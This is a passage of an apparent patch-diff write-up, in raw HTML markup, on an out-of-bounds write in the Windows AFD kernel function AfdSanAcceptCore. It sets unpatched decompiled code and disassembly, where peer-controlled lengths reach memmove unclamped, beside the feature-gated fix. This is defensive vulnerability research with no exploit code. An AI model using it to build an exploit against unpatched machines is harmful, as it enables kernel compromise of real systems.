&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// OOB write&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// OOB write&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED AfdSanAcceptCore ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_232206649_59779869_&lt;/span&gt;&lt;span class="p"&gt;...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xCu&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// NEW min capacity 12 (feature-gated)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_59&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irql&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v59&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Irql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Irql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_232206649_59779869_&lt;/span&gt;&lt;span class="p"&gt;...)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// NEW clamp (feature-gated)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// clamp to capacity - 2&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v25&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v59&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v23&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_232206649_59779869_&lt;/span&gt;&lt;span class="p"&gt;...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// NEW clamp (feature-gated)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                                                 &lt;/span&gt;&lt;span class="c1"&gt;// clamp to capacity&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v59&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v33&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When &lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns 0, none of the &lt;code&gt;v15[4]&lt;/code&gt; comparisons run and the copies use the unclamped sizes, matching the unpatched behavior.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;Instructions below are copied from the disassembly of &lt;code&gt;AfdSanAcceptCore @ 0x1C007508C&lt;/code&gt; in each build.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unpatched (missing upper-bound check and unclamped copies):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075305&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AddressBufferLength&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075308&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075485&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;copies&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;compute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;bounds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c007530e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;transport&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;len&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075313&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0075318&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Primary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;TDI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00753d2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;unclamped&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00753df&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ConnData&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c00753e4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;AddressOffset&lt;/span&gt;
